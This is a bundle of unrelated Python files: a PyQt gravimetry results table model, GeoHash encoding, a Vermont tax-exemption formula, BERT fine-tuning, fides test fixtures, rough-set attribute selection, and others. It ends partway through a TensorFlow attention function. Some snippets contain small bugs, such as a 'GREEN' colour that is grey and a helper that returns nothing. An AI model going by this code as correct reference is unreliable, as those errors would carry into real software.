from PyQt5.QtCore import QAbstractTableModel, Qt
from PyQt5 import QtGui
from PyQt5.QtWidgets import QMessageBox
import datetime as dt
import pandas as pd

NONE_REPRESENTATION_IN_TABLE_VIEW = ''  # Representation of None values in table views in the GUI

class ResultsObservationModel(QAbstractTableModel):
    """Model for displaying the observations-related results."""

    # Number of decimal pla
    _DECIMAL_PLACES_PER_FLOAT_COLUMN = {
        'g_diff_mugal': 1,
        'sd_g_diff_mugal': 1,
        'sd_g_diff_est_mugal': 1,
        'v_diff_mugal': 1,
        'sd_g_mugal': 1,
        'g_mugal': 1,
        'abw_mugal': 1,
        'delta_t_h': 3,
        'corr_drift_mugal': 1,
        'w_diff_mugal': 3,
        'r_diff_obs': 3,
        'ref_epoch_dt': 3,
        'w_obs_est_mugal': 3,  # LSM_non_diff
        'r_obs_est': 3,  # LSM_non_diff
        'v_obs_est_mugal': 1,  # LSM_non_diff
        'sd_g_obs_est_mugal': 1,  # LSM_non_diff
        'g_obs_mugal': 1,  # LSM_non_diff
        'sd_g_obs_mugal': 1,  # LSM_non_diff
    }

    # Columns that will be shown in the table view, if available in the data (Also defines the order of columns):
    # - This is also e pre-selection for data columns that can be plotted in the observation plots in the results tab
    # - keys: Actual names of the dataframe columns
    # - items: Header names for the Table View Widget
    _SHOW_COLUMNS_IN_TABLE_DICT = {
        'survey_name': 'Survey',  # LSM_non_diff, LSM_diff
        'station_name_from': 'Station from',  # LSM_diff
        'station_name_to': 'Station to',  # LSM_diff
        'station_name': 'Station',  # MLR, LSM_non_diff
        'ref_epoch_dt': 'Epoch UTC',  # LSM_non_diff, LSM_diff
        'delta_t_h': 'd_t [h]',  # LSM_non_diff, LSM_diff
        'g_mugal': 'g [µGal]',  # MLR
        'g_diff_mugal': 'g [µGal]',  # LSM_diff
        'g_obs_mugal': 'g [µGal]',  # LSM_non_diff
        'sd_g_mugal': 'SD [µGal]',  # MLR
        'sd_g_diff_mugal': 'SD [µGal]',  # LSM_diff
        'sd_g_obs_mugal': 'SD [µGal]',  # LSM_non_diff
        'sd_g_diff_est_mugal': 'SD_est [µGal]',  # LSM_diff
        'sd_g_obs_est_mugal': 'SD_est [µGal]',  # LSM_non_diff
        'v_diff_mugal': 'v [µGal]',  # LSM_diff
        'v_obs_est_mugal': 'v [µGal]',  # LSM_non_diff
        'w_diff_mugal': 'w [µGal]',  # LSM_diff
        'w_obs_est_mugal': 'w [µGal]',  # LSM_non_diff
        'r_diff_obs': 'r [µGal]',  # LSM_diff
        'r_obs_est': 'r [µGal]',  # LSM_non_diff
        'tau_test_result': 'Outlier test',  # LSM_non_diff, LSM_diff
        'corr_drift_mugal': 'Drift corr. [µGal]',  # MLR: Estimated drift correction
        'abw_mugal': 'abw [µGal]',  # MLR: Difference between drift-corrected instrument reading and the estimated station gravity
    }
    _SHOW_COLUMNS_IN_TABLE = list(_SHOW_COLUMNS_IN_TABLE_DICT.keys())  # Actual list of columns to be shown

    # List of columns that are shown in the simple mode of the GUI
    _SHOW_COLUMNS_IN_TABLE_SIMPLE_GUI = [
        'survey_name',
        'station_name_from',
        'station_name_to',
        'station_name',
        'ref_epoch_dt',
        'delta_t_h',
        'g_mugal',
        'g_diff_mugal',
        'g_obs_mugal',
        'sd_g_mugal',
        'sd_g_diff_mugal',
        'sd_g_obs_mugal',
        'sd_g_diff_est_mugal',
        'sd_g_obs_est_mugal',
        'v_diff_mugal',
        'v_obs_est_mugal',
        'tau_test_result',
    ]

    # Columns that can be plotted. Column names (keys) and description (values):
    # - numerical data only!
    _PLOTABLE_DATA_COLUMNS = {
        # LSM_diff:
        'v_diff_mugal': 'Post-fit residuals [µGal]',  # LSM_diff
        'sd_g_diff_est_mugal': 'A posteriori SD of diff. obs. [µGal]',  # LSM_diff
        'g_diff_mugal': 'Differential observation [µGal]',  # LSM_diff
        'sd_g_diff_mugal': 'SD of differential observation [µGal]',  # LSM_diff
        # MLR:
        'g_mugal': 'Instrument reading [µGal]',  # MLR
        'sd_g_mugal': 'Standard deviation of the instrument reading [µGal]',  # MLR
        'corr_drift_mugal': 'Estimated drift correction [µGal]',  # MLR
        'abw_mugal': 'Drift-corrected reading minus estimated station gravity (not absolute) [µGal]',  # MLR
        'r_diff_obs': 'Redundancy components []',  # LSM_diff
        'w_diff_mugal': 'Standardized post-fit residuals []',  # LSM_diff
        # LSM_non_diff:
        'w_obs_est_mugal': 'Standardized post-fit residuals []',  # LSM_non_diff
        'r_obs_est': 'Redundancy components []',  # LSM_non_diff
        'v_obs_est_mugal': 'Post-fit residuals [µGal]',  # LSM_non_diff
        'sd_g_obs_est_mugal': 'A posteriori SD of observation [µGal]',  # LSM_non_diff
        'g_obs_mugal': 'Non-differential observation [µGal]',  # LSM_non_diff
        'sd_g_obs_mugal': 'SD of non-differential observation [µGal]',  # LSM_non_diff
    }

    def __init__(self, lsm_runs):
        """Initialize the observation-results table view model.

        Parameters
        ----------
        lsm_runs : list of py.obj:`gravtools.lsm.LSM` objects
        """
        QAbstractTableModel.__init__(self)
        self._lsm_runs = []
        self._data = None  # Observations (or at subset of them) of the survey with the name `self._data_survey_name`
        self.load_lsm_runs(lsm_runs)
        self._lsm_run_index = None  # Name of the Survey that is currently represented by `self._data`
        self._data_column_names = None
        self.flag_gui_simple_mode = False

    def load_lsm_runs(self, lsm_runs: list):
        """Load adjustment results.

        Notes
        -----
        The data is assigned by reference, i.e. all changes in `_surveys` will propagate to the data origin.
        """
        self._lsm_runs = lsm_runs

    def update_view_model(self, lsm_run_index: int, station_name=None, survey_name=None, gui_simple_mode=False):
        """Update the `_data` DataFrame that hold the actual data that is displayed."""
        self.flag_gui_simple_mode = gui_simple_mode
        flag_error_init = False
        if lsm_run_index == -1:  # No data available => Invalid index => Reset model data
            flag_error_init = True
        else:
            try:
                results_obs_df = self._lsm_runs[lsm_run_index].get_results_obs_df
            except KeyError:
                QMessageBox.critical(self.parent(), 'Error!', f'LSM run with index "{lsm_run_index}" not found!')
            else:
                if results_obs_df is None:  # E.g. no results in campaign yet
                    flag_error_init = True
                else:
                    self._lsm_run_index = lsm_run_index

                    # Get list of columns to be depicted via the table model:
                    # - Keep order of itemms in `self._SHOW_COLUMNS_IN_TABLE`
                    results_obs_df_columns_set = frozenset(results_obs_df.columns)
                    table_model_columns = [x for x in self.get_table_columns if x in results_obs_df_columns_set]

                    # Apply filter:
                    if ((station_name is not None) or (survey_name is not None)) and (results_obs_df is not None):
                        tmp_filter = pd.Series([True] * len(results_obs_df))  # Init boolean filter series
                        column_names = results_obs_df.columns

                        if station_name is not None:  # Filer data for station names
                            flag_is_diff_obs = ('station_name_from' in column_names) and ('station_name_to' in column_names)

                            # Differential observations => Check columns 'station_name_from' and 'station_name_to'
                            if flag_is_diff_obs:
                                tmp_filter = tmp_filter & ((results_obs_df['station_name_from'] == station_name) |
                                                           (results_obs_df['station_name_to'] == station_name))
                            else:  # No differential observations => Check column 'station_name'
                                tmp_filter = tmp_filter & (results_obs_df['station_name'] == station_name)

                        if survey_name is not None:  # Filer data for survey name
                            tmp_filter = tmp_filter & (results_obs_df['survey_name'] == survey_name)
                        try:
                            self._data = results_obs_df.loc[tmp_filter, table_model_columns].copy(deep=True)
                        except:  # Just in case any problem occurs...
                            self._data = results_obs_df.loc[tmp_filter, :].copy(deep=True)  # Show all columns
                    else:  # No filter
                        try:
                            self._data = results_obs_df.loc[:, table_model_columns].copy(deep=True)
                        except:  # Just in case any problem occurs...
                            self._data = results_obs_df.copy(deep=True)
                    self._data_column_names = self._data.columns.to_list()  # Show all columns
        if flag_error_init:
            self._data = None
            self._lsm_run_index = None
            self._data_column_names = None

    def rowCount(self, parent=None):
        if self._data is not None:
            return self._data.shape[0]
        else:
            return 0

    def columnCount(self, parent=None):
        if self._data is not None:
            return self._data.shape[1]
        else:
            return 0

    def data(self, index, role=Qt.DisplayRole):
        if index.isValid():
            if role == Qt.DisplayRole:
                value = self._data.iloc[index.row(), index.column()]
                column_name = self._data_column_names[index.column()]
                # Custom formatter (string is expected as return type):
                if value is None:  #
                    return NONE_REPRESENTATION_IN_TABLE_VIEW
                elif isinstance(value, float):
                    if value != value:  # True, if value is "NaN"
                        return NONE_REPRESENTATION_IN_TABLE_VIEW
                    else:
                        if column_name in self._DECIMAL_PLACES_PER_FLOAT_COLUMN.keys():
                            num_dec_places = self._DECIMAL_PLACES_PER_FLOAT_COLUMN[column_name]
                            return '{1:.{0}f}'.format(num_dec_places, value)
                        else:
                            return str(value)
                elif isinstance(value, dt.datetime):
                    return value.strftime("%Y-%m-%d, %H:%M:%S")
                else:  # all other
                    return str(value)

            if role == Qt.TextAlignmentRole:
                value = self._data.iloc[index.row(), index.column()]
                if isinstance(value, int) or isinstance(value, float):
                    # Align right, vertical middle.
                    return Qt.AlignVCenter + Qt.AlignRight

            if role == Qt.BackgroundRole:
                if 'tau_test_result' in self._data_column_names:
                    if index.column() == self._data_column_names.index('tau_test_result'):
                        value = self._data.iloc[index.row(), index.column()]
                        if value == 'passed':
                            return QtGui.QColor('green')
                        elif value == 'failed':
                            return QtGui.QColor('red')
        return None

    def headerData(self, section, orientation, role):
        # section is the index of the column/row.
        if role == Qt.DisplayRole:
            if orientation == Qt.Horizontal:
                return self._SHOW_COLUMNS_IN_TABLE_DICT[str(self._data.columns[section])]
            if orientation == Qt.Vertical:
                return str(self._data.index[section])

    def get_plotable_columns(self) -> dict:
        """Returns a dict with names and description of the plotable numerical columns.

        Notes
        -----
        If the model data is empty return an empty dict.
        """
        plotable_columns_dict = {}
        if self._data_column_names is not None:  # Data model is not empty
            for key, item in self._PLOTABLE_DATA_COLUMNS.items():
                # Check if key is a column-name in the current data
                if key in self._data_column_names:
                    plotable_columns_dict[key] = item
        return plotable_columns_dict

    @property
    def get_model_data_df(self):
        """Returns the model data dataframe."""
        return self._data

    @property
    def get_model_data_df_for_plotting(self):
        """Return all plotable rows on the model data dataframe.

        Notes
        -----
        Data is plotable, if the data can be referred station(s) and to a specific reference epoch! E.g. pseudo
        observations introduced for datum constraints are not plotable!
        """
        filter_tmp = self._data['is_constraint'] == False
        # Add further options to thze filter series, is needed!
        return self._data.loc[filter_tmp, :]

    @property
    def get_table_columns(self):
        """Returns a list with all columns names of the dataframe that should be copied to the view model."""
        if self.flag_gui_simple_mode:
            return [value for value in self._SHOW_COLUMNS_IN_TABLE if value in self._SHOW_COLUMNS_IN_TABLE_SIMPLE_GUI]
        else:
            return self._SHOW_COLUMNS_IN_TABLE

    def get_short_column_description(self, column_name: str) -> str:
        """Returns the short description of the model column."""
        try:
            return self._SHOW_COLUMNS_IN_TABLE_DICT[column_name]
        except AttributeError:
            return ''


'''
create by wyd
GeoHash示例代码
'''
'''
base32码
'''
BASE32 = ['0','1','2','3','4','5','6','7','8',
          '9','b','c','d','e','f','g','h','j',
          'k','m','n','p','q','r','s',
          't','u','v','w','x','y','z']

def get_2_geocode(lng,lat,n):

    LngRange=[-180,180]
    LatRange=[-90,90]
    geocode_2_lng=[]
    geocode_2_lat=[]
    geocode_2_all=[]
    is_n_odd=False
    if n %2 !=0:
        n=n+1
        is_n_odd=True
    len_geocode_2= int(n*5/2)
    for i in range(len_geocode_2):
        if lng<=(LngRange[0]+LngRange[1])/2 and lng > LngRange[0]:
            geocode_2_lng.append(0)
            LngRange[1]=(LngRange[0]+LngRange[1])/2

        else:
            geocode_2_lng.append(1)
            LngRange[0] = (LngRange[0] + LngRange[1]) / 2

        if lat <= (LatRange[0] + LatRange[1]) / 2 and lat > LatRange[0]:
            geocode_2_lat.append(0)
            LatRange[1]=(LatRange[0] + LatRange[1]) / 2
        else:
            geocode_2_lat.append(1)
            LatRange[0]=(LatRange[0] + LatRange[1]) / 2
    del i
    for i in range(len_geocode_2):

        geocode_2_all.append(geocode_2_lng[i])
        geocode_2_all.append(geocode_2_lat[i])
    del i

    GeoHash_code = ''

    if is_n_odd == True:
        n=n-1
    for i in range(n):
        code_list=geocode_2_all[i*5:i*5+5]
        number=0
        for code_num in range(5):
            number=number+(code_list[code_num])*(2**(4-code_num))
        GeoHash_code=GeoHash_code+BASE32[number]

    print(GeoHash_code)

if __name__=="__main__":
    lng=114
    lat=39
    n=8
    get_2_geocode(lng, lat, n)


# Filename ShowDot.py

import pygame

pygame.init()
screen = pygame.display.set_mode([800, 600])

keep_going = True
GREEN = (225, 225, 225) # Три цвета RGB для зеленого (GREEN) цвета

radius = 50

while keep_going:
	for event in pygame.event.get():
		if event.type == pygame.QUIT:
			keep_going = False
	pygame.draw.circle(screen, GREEN, (500,100), radius)
	pygame.display.update()

pygame.quit()


from policyengine_us.model_api import *

class vt_personal_exemptions(Variable):
    value_type = float
    entity = TaxUnit
    label = "Vermont personal exemptions"
    unit = USD
    definition_period = YEAR
    defined_for = StateCode.VT
    reference = (
        "https://tax.vermont.gov/sites/tax/files/documents/IN-111-2022.pdf"
    )

    def formula(tax_unit, period, parameters):
        p = parameters(period).gov.states.vt.tax.income.exemption
        is_joint = tax_unit("tax_unit_is_joint", period)
        elsewhere_head = tax_unit("head_is_dependent_elsewhere", period)
        elsewhere_spouse = tax_unit("spouse_is_dependent_elsewhere", period)
        eligible_head = (~elsewhere_head).astype(int)
        eligible_spouse = (~elsewhere_spouse).astype(int)
        eligible_count = eligible_head + (eligible_spouse * is_joint)
        # add number of other dependents claimed on federal Form 1040 (line 5c)
        dependents = tax_unit("tax_unit_count_dependents", period)
        total_exemption_count = eligible_count + dependents
        return total_exemption_count * p.personal


"""@package utils.decorators
@author: Zosia Sobocinska
@date Dec 7, 2013
"""
from django.shortcuts import redirect
from timelease.settings import LOGIN_URL

class authenticate:
    __name__ = None
    __module = None
    f = None
    user = None

    def __init__(self, f):
        self.f = f
        self.__name__ = f.__name__
        self.__module__ = f.__module__

    def __call__(self, request, *args, **kwargs):
        user = request.user
        if not (user and user.is_authenticated()):
            return redirect('%s/?next=%s' % (LOGIN_URL, request.path))
        else:
            return self.f(user, request, *args, **kwargs)

class not_implemented:
    f = None
    user = None

    def __init__(self, f):
        self.f = f

    def __call__(self, request, *args, **kwargs):
        raise Exception("Function %s.%s not implemented." % (self.f.__module__, self.f.__name__))


import msvcrt
import  pandas as pd
import os
from tqdm import tqdm

# 读取paper指导
def getPaper(path):
    paperlist = list()
    file = open(path, encoding="utf-8")
    while True:
        line = file.readline().rstrip()
        #print(line[0])
        if line:
            if line[0] != '#':
                paperlist.append(line)
        else:
            break
    file.close()
    return paperlist

#读取花名册学生信息
file_path = r"花名册.xlsx"  #花名册文件
source_path = r"青年大学习已完成名单.txt" #已完成人员名单
print("读取花名册...")
df = pd.DataFrame(pd.read_excel(file_path))
ID = list(df["ID"]) #获得所有人的学号
NAMES = list(df['NAME'])
print("读取已完成名单...")
finishNames = getPaper(source_path) #读取文件
unfinishNames = list() #未完成名单
print("统计未完成名单...")
for name in NAMES:
    if not any(name in item for item in finishNames): #不在完成名单中
        unfinishNames.append(name) #添加到未完成列表中
print("未完成名单如下：")
for name in unfinishNames:
    print("    "+name)
print("未完成共%d"%len(unfinishNames))
print("\n未完成名单已保存到文件：”未完成.txt")
if unfinishNames: #list不为空-写入到文件中
    with open(r"未完成.txt",'w') as f:
        for name in unfinishNames:
            f.write(name+"\n")
else:
    with open("未完成.txt", 'w') as f:
        f.write("")
        f.close()
print("\n请按任意键退出")
ord(msvcrt.getch())

青年大学习统计/青年大学习检查.py


from torch.utils.data import Dataset
import json

class AFQMC(Dataset):
    def __init__(self, data_file):
        self.data = self.load_data(data_file)

    def load_data(self, data_file):
        Data = {}
        with open(data_file, 'rt') as f:
            for idx, line in enumerate(f):
                sample = json.loads(line.strip())
                Data[idx] = sample
        return Data

    def __len__(self):
        return len(self.data)

    def __getitem__(self, idx):
        return self.data[idx]

train_data = AFQMC('/root/chenbo/data/afqmc_public/train.json')
valid_data = AFQMC('/root/chenbo/data/afqmc_public/dev.json')

print(train_data[0])

'''
{'sentence1': '蚂蚁借呗等额还款可以换成先息后本吗', 'sentence2': '借呗有先息到期还本吗', 'label': '0'}
'''

#2-batch data
import torch
from torch.utils.data import DataLoader
from transformers import AutoTokenizer

checkpoint = "bert-base-chinese"
tokenizer = AutoTokenizer.from_pretrained(checkpoint)

def collote_fn(batch_samples):
    batch_sentence_1, batch_sentence_2 = [], []
    batch_label = []
    for sample in batch_samples:
        batch_sentence_1.append(sample['sentence1'])
        batch_sentence_2.append(sample['sentence2'])
        batch_label.append(int(sample['label']))
    X = tokenizer(
        batch_sentence_1,
        batch_sentence_2,
        padding=True,
        truncation=True,
        return_tensors="pt"
    )
    y = torch.tensor(batch_label)
    return X, y

train_dataloader = DataLoader(train_data, batch_size=4, shuffle=True, collate_fn=collote_fn)
valid_dataloader = DataLoader(valid_data, batch_size=4, shuffle=True, collate_fn=collote_fn)

batch_X, batch_y = next(iter(train_dataloader))
print('batch_X shape:', {k: v.shape for k, v in batch_X.items()})
print('batch_y shape:', batch_y.shape)
print(batch_X)
print(batch_y)

#2-构建模型
from torch import nn
from transformers import AutoConfig
from transformers import BertPreTrainedModel, BertModel

device = 'cuda' if torch.cuda.is_available() else 'cpu'
print(f'Using {device} device')

class BertForPairwiseCLS(BertPreTrainedModel):
    def __init__(self, config):
        super().__init__(config)
        self.bert = BertModel(config, add_pooling_layer=False)
        self.dropout = nn.Dropout(config.hidden_dropout_prob)
        self.classifier = nn.Linear(768, 2)
        self.post_init()

    def forward(self, x):
        bert_output = self.bert(**x)
        cls_vectors = bert_output.last_hidden_state[:, 0, :]
        cls_vectors = self.dropout(cls_vectors)
        logits = self.classifier(cls_vectors)
        return logits

config = AutoConfig.from_pretrained(checkpoint)
model = BertForPairwiseCLS.from_pretrained(checkpoint, config=config).to(device)
print(model)

outputs = model(batch_X)
print(outputs.shape)

#2-2优化模型参数

from tqdm.auto import tqdm

def train_loop(dataloader, model, loss_fn, optimizer, lr_scheduler, epoch, total_loss):
    progress_bar = tqdm(range(len(dataloader)))
    progress_bar.set_description(f'loss: {0:>7f}')
    finish_step_num = (epoch - 1) * len(dataloader)

    model.train()
    for step, (X, y) in enumerate(dataloader, start=1):
        X, y = X.to(device), y.to(device)
        pred = model(X)
        loss = loss_fn(pred, y)

        optimizer.zero_grad()
        loss.backward()
        optimizer.step()
        lr_scheduler.step()

        total_loss += loss.item()
        progress_bar.set_description(f'loss: {total_loss / (finish_step_num + step):>7f}')
        progress_bar.update(1)
    return total_loss

def test_loop(dataloader, model, mode='Test'):
    assert mode in ['Valid', 'Test']
    size = len(dataloader.dataset)
    correct = 0

    model.eval()
    with torch.no_grad():
        for X, y in dataloader:
            X, y = X.to(device), y.to(device)
            pred = model(X)
            correct += (pred.argmax(1) == y).type(torch.float).sum().item()

    correct /= size
    print(f"{mode} Accuracy: {(100 * correct):>0.1f}%\n")

from transformers import AdamW, get_scheduler

learning_rate = 1e-5
epoch_num = 3

loss_fn = nn.CrossEntropyLoss()
optimizer = AdamW(model.parameters(), lr=learning_rate)
lr_scheduler = get_scheduler(
    "linear",
    optimizer=optimizer,
    num_warmup_steps=0,
    num_training_steps=epoch_num*len(train_dataloader),
)

total_loss = 0.
for t in range(epoch_num):
    print(f"Epoch {t+1}/{epoch_num}\n-------------------------------")
    total_loss = train_loop(train_dataloader, model, loss_fn, optimizer, lr_scheduler, t+1, total_loss)
    test_loop(valid_dataloader, model, mode='Valid')
print("Done!")


from typing import Dict, Generator
from uuid import uuid4

import pytest
from sqlalchemy.orm import Session

from fides.api.ctl.sql_models import Organization
from fides.api.ops.models.connectionconfig import (
    AccessLevel,
    ConnectionConfig,
    ConnectionType,
)
from fides.api.ops.service.connectors import SovrnConnector
from fides.api.ops.service.connectors.email.attentive_connector import (
    AttentiveConnector,
)

@pytest.fixture(scope="function")
def sovrn_email_connection_config(db: Session) -> Generator:
    name = str(uuid4())
    connection_config = ConnectionConfig.create(
        db=db,
        data={
            "name": name,
            "key": "my_email_connection_config",
            "connection_type": ConnectionType.sovrn,
            "access": AccessLevel.write,
            "secrets": {
                "test_email_address": "processor_address@example.com",
                "recipient_email_address": "sovrn@example.com",
                "advanced_settings": {
                    "identity_types": {
                        "email": False,
                        "phone_number": False,
                        "cookie_ids": ["ljt_readerID"],
                    }
                },
                "third_party_vendor_name": "Sovrn",
            },
        },
    )
    yield connection_config
    connection_config.delete(db)

@pytest.fixture(scope="function")
def attentive_email_connection_config(db: Session) -> Generator:
    connection_config = ConnectionConfig.create(
        db=db,
        data={
            "name": "Attentive",
            "key": "my_email_connection_config",
            "connection_type": ConnectionType.attentive,
            "access": AccessLevel.write,
            "secrets": {
                "test_email_address": "processor_address@example.com",
                "recipient_email_address": "attentive@example.com",
                "advanced_settings": {
                    "identity_types": {"email": True, "phone_number": False}
                },
                "third_party_vendor_name": "Attentive",
            },
        },
    )
    yield connection_config
    connection_config.delete(db)

@pytest.fixture(scope="function")
def test_sovrn_consent_email_connector(
    sovrn_email_connection_config: Dict[str, str],
) -> SovrnConnector:
    return SovrnConnector(configuration=sovrn_email_connection_config)

@pytest.fixture(scope="function")
def test_attentive_erasure_email_connector(
    attentive_email_connection_config: Dict[str, str]
) -> AttentiveConnector:
    return AttentiveConnector(configuration=attentive_email_connection_config)

@pytest.fixture(scope="function")
def test_fides_org(db: Session) -> Generator:
    test_org = Organization(name="Test Org", fides_key="test_organization")
    db.add(test_org)
    db.commit()
    db.flush()
    yield test_org
    db.delete(test_org)


num=int(input())
cnt=0
for i in range(1,num+1):
    i=list(str(i))
    if(len(i)<=2):
        cnt+=1
    else:
        i=list(map(int,i))
        if(i[0]-i[1] == i[1]-i[2]):
         cnt+=1
print(cnt)

#1000은 어차피 등차수열 아니라서 포함 안해도 된다


"""
基于粗糙集理论的属性选择.

数据必须满足:
1.离散
2.前n-1条属性是条件属性,第n条属性是决策属性
"""

import numpy as np
import DataClass
import sys

def get_attr_values_dicts(data_class):
    """
    获取数据集中所有属性的取值及个数
    :param data_class:
    :return: [{'value1':count1,'value2':count2},{},...,{}]
    """
    dicts = [{} for _ in range(data_class.attr_count)]
    for i in range(data_class.len):
        for j in range(data_class.attr_count):
            if data_class.data[i][j] not in dicts[j]:
                dicts[j][data_class.data[i][j]] = 1
            else:
                dicts[j][data_class.data[i][j]] += 1

def get_core(data_class):
    """
    返回集合的 CORE 属性集.
    using Discernibility Matrix
    :param data_class:
    :return: 属性所在的下标标量.
    """
    core_attrs = set()
    for i in range(data_class.len):
        for j in range(i + 1, data_class.len):
            if data_class.data[i][data_class.attr_count - 1] != data_class.data[j][data_class.attr_count - 1]:
                dis_count = 0
                dis_attr = 0
                for attr in range(data_class.attr_count - 1):
                    if data_class.data[i][attr] != data_class.data[j][attr]:
                        dis_count += 1
                        dis_attr = attr
                if dis_count == 1:
                    core_attrs.add(dis_attr)
    return core_attrs

def check_distinct(data_class, handel_index, considered_instance):
    """
    检查在 handel_index 作为属性集下,是否存在不可区分集.
    :param data_class:
    :param handel_index:
    :return: true 表示没有不可区分集. False 表示存在不可区分集.
    """
    loop_instance = list(considered_instance)
    return_considered_instance = list(considered_instance)
    classify_num = 0
    is_reduct = True
    for i in range(data_class.len):
        if not loop_instance[i]:
            continue
        distinct_set = [i]
        is_distinct_set = True
        for j in range(i + 1, data_class.len):
            if not loop_instance[j]:
                continue
            decision_same = data_class.data[i][data_class.attr_count - 1] == data_class.data[j][
                data_class.attr_count - 1]  # 决策属性是否相同
            condition_same = True  # 选择的条件属性是否都相同
            for attr in handel_index:
                if data_class.data[i][attr] != data_class.data[j][attr]:
                    condition_same = False
                    break
            if condition_same:
                loop_instance[j] = False  # 如果 i 和 j 条件属性相同,则 j 不用再进行计算
                if decision_same:
                    distinct_set.append(j)
                else:
                    is_distinct_set = False
                    break

        if is_distinct_set:
            classify_num += 1
            for item in distinct_set:
                return_considered_instance[item] = False
        else:
            is_reduct = False

    if is_reduct:
        return True, classify_num, []
    else:
        return False, classify_num, return_considered_instance

def attribute_select(data_class):
    """
    在没有不可区分子集(reduct)的情况下,返回产生区分集个数最少的属性集
    当产生的区分集个数相同时,选用取值种类数更少的属性
    :param data_class:
    :return:
    """
    considered_instance = np.array([True] * data_class.len, np.bool)
    selected_attr = get_core(data_class)
    attr_values_dicts = get_attr_values_dicts(data_class)
    is_reduction, classify_num, considered_instance = check_distinct(data_class, selected_attr, considered_instance)
    if is_reduction:
        return selected_attr, classify_num

    while True:
        if len(selected_attr) == data_class.attr_count - 1:
            raise ValueError('Cant reduce the attributes')

        min_classify_num_reduct = sys.maxsize
        min_classify_num_no_reduct = sys.maxsize
        considered_instance_no_reduct = []
        select_attr_step = -1
        has_reduct = False
        for attr in range(data_class.attr_count - 1):
            if attr in selected_attr:
                continue
            is_reduct, classify_num, _con = check_distinct(data_class, selected_attr + [attr], considered_instance)
            if is_reduct:
                has_reduct = True
                if classify_num < min_classify_num_reduct:
                    min_classify_num_reduct = classify_num
                    select_attr_step = attr
                elif classify_num == min_classify_num_reduct and len(attr_values_dicts[attr]) < len(
                        attr_values_dicts[select_attr_step]):
                    min_classify_num_reduct = classify_num
                    select_attr_step = attr
            else:
                if has_reduct:
                    continue
                else:
                    if classify_num < min_classify_num_no_reduct:
                        min_classify_num_no_reduct = classify_num
                        select_attr_step = attr
                        considered_instance_no_reduct = _con
                    elif classify_num == min_classify_num_no_reduct and len(attr_values_dicts[attr]) < len(
                            attr_values_dicts[select_attr_step]):
                        min_classify_num_no_reduct = classify_num
                        select_attr_step = attr
                        considered_instance_no_reduct = _con

        if has_reduct:
            return selected_attr + [select_attr_step], min_classify_num_reduct
        else:
            selected_attr = selected_attr + [select_attr_step]
            considered_instance = considered_instance_no_reduct

if __name__ == '__main__':
    # [Case1]
    # data = [['1', '0', '2', '1', '1'],
    #         ['1', '0', '2', '0', '1'],
    #         ['1', '2', '0', '0', '2'],
    #         ['1', '2', '2', '1', '0'],
    #         ['2', '1', '0', '0', '2'],
    #         ['2', '1', '1', '0', '2'],
    #         ['2', '1', '2', '1', '1']]

    # core = get_core(dc)
    # assert core == [1]  # CORE(cd)=1 (the second attr)
    #
    # considered_instance = np.array([True] * dc.len, np.bool)
    # is_reduct, classify_num, considered_instance = check_distinct(dc, core, considered_instance)
    # assert (is_reduct, classify_num, considered_instance) == (False, 1, [False] * 2 + [True] * 5)

    # selected_attr, max_classify_num = attribute_select(dc)
    # assert selected_attr == {1, 3}

    # [Case2]
    dc = DataClass.DataClass([str] * 5)
    dc.read(r'..\sample\weather.txt', True)
    selected_attr, max_classify_num = attribute_select(dc)
    assert selected_attr == {0, 1, 3}


import cv2
import numpy as np
import os

dir = input("destination folder: ")
save_folder = input("save_path: ")

height= int(input("height: "))
width = int(input("width: "))

count = 0

for img in sorted(os.listdir(dir)):
    if img.endswith(".jpg") or img.endswith(".png") or img.endswith(".jpeg"):
        image = cv2.imread(os.path.join(dir,img))

        roi = cv2.selectROI(image)

        crop_img = image[int(roi[1]):int(roi[1]+roi[3]), int(roi[0]):int(roi[0]+roi[2])]

        resized_img = cv2.resize(crop_img, (height, width))
        cv2.imwrite(os.path.join(save_folder, str(count)+".jpg"), resized_img)
        count+=1


import csv
import ast
from copy import deepcopy

class STM:
    def __init__(self, num_pitches=12): # num_pitches is the number of unique pitch classes in the system in question
        self.span = [0. for i in range(num_pitches)]
        self.back = [0 for i in range(num_pitches)]
        self.length = num_pitches
    '''
    def read(self, pitch):
        for i in range(len(self.span)):
            if self.span[i] != -1.0:
                #self.span[i] = round(self.span[i]-.1, 1)
                self.back[i] += 1
                if self.back[i] > 7:
                    self.span[i] = -1.0
        self.span[int(pitch)] = 1.0
        self.back[int(pitch)] = 1
    '''
    def read(self, pitch):
        for i in range(len(self.span)):
            if self.span[i] != -1.0:
                self.span[i] = round(self.span[i]-.125, 3)
        self.span[int(pitch)] = 1.0

    def clear(self):
        self.span = [0. for i in range(self.length)]

    def __repr__(self):
        return str(self.span)

#rf = open('../ReducedSongData/GermanReduced.txt', 'r')
#wf = open('../TrainingData/German.txt', 'w')

#rf = open('../ReducedSongData/HanReduced.txt', 'r')
#wf = open('../TrainingData/Han.txt', 'w')

rf = open('../ReducedSongData/HindustaniReduced.txt', 'r')
wf = open('../TrainingData/Hindustani.txt', 'w')

data = csv.reader(rf, delimiter='\t')
output = []

reader = STM()

for row in data:
    reader.clear()
    song = ast.literal_eval(row[2])
    song_output = []
    for i in range(len(song)):
        reader.read(song[i])
        song_output.append(deepcopy(reader.span))
    output.append(song_output[7:])

wf.write(str(output))


import tensorflow as tf
import numpy as np

def layer_normalization(inputs,
                        epsilon=1e-8,
                        scope="ln",
                        reuse=None):
    with tf.variable_scope(scope, reuse=reuse):
        inputs_shape = inputs.get_shape()
        params_shape = inputs_shape[-1:]

        mean, variance = tf.nn.moments(inputs, [-1], keep_dims=True)
        beta = tf.Variable(tf.zeros(params_shape))
        gamma = tf.Variable(tf.ones(params_shape))
        normalized = (inputs - mean) / ((variance + epsilon) ** .5)
        outputs = gamma * normalized + beta

    return outputs

def multihead_attention(queries,
                        keys,
                        num_units=None,
                        num_heads=8,
                        dropout_rate=0,
                        is_training=True,
                        causality=False,
                        scope="multihead_attention",
                        reuse=None):
    with tf.variable_scope(scope, reuse=reuse):
        if num_units is None:  # set default size for attention size C
            num_units = queries.get_shape().as_list()[-1]

        # Linear Projections
        Q = tf.layers.dense(queries, num_units, activation=tf.nn.relu)  # [N, T_q, C]
        K = tf.layers.dense(keys, num_units, activation=tf.nn.relu)  # [N, T_k, C]
        V = tf.layers.dense(keys, num_units, activation=tf.nn.relu)  # [N, T_k, C]

        # Split and concat
        Q_ = tf.concat(tf.split(Q, num_heads, axis=-1), axis=0)  # [num_heads * N, T_q, C/num_heads]
        K_ = tf.concat(tf.split(K, num_heads, axis=-1), axis=0)  # [num_heads * N, T_k, C/num_heads]
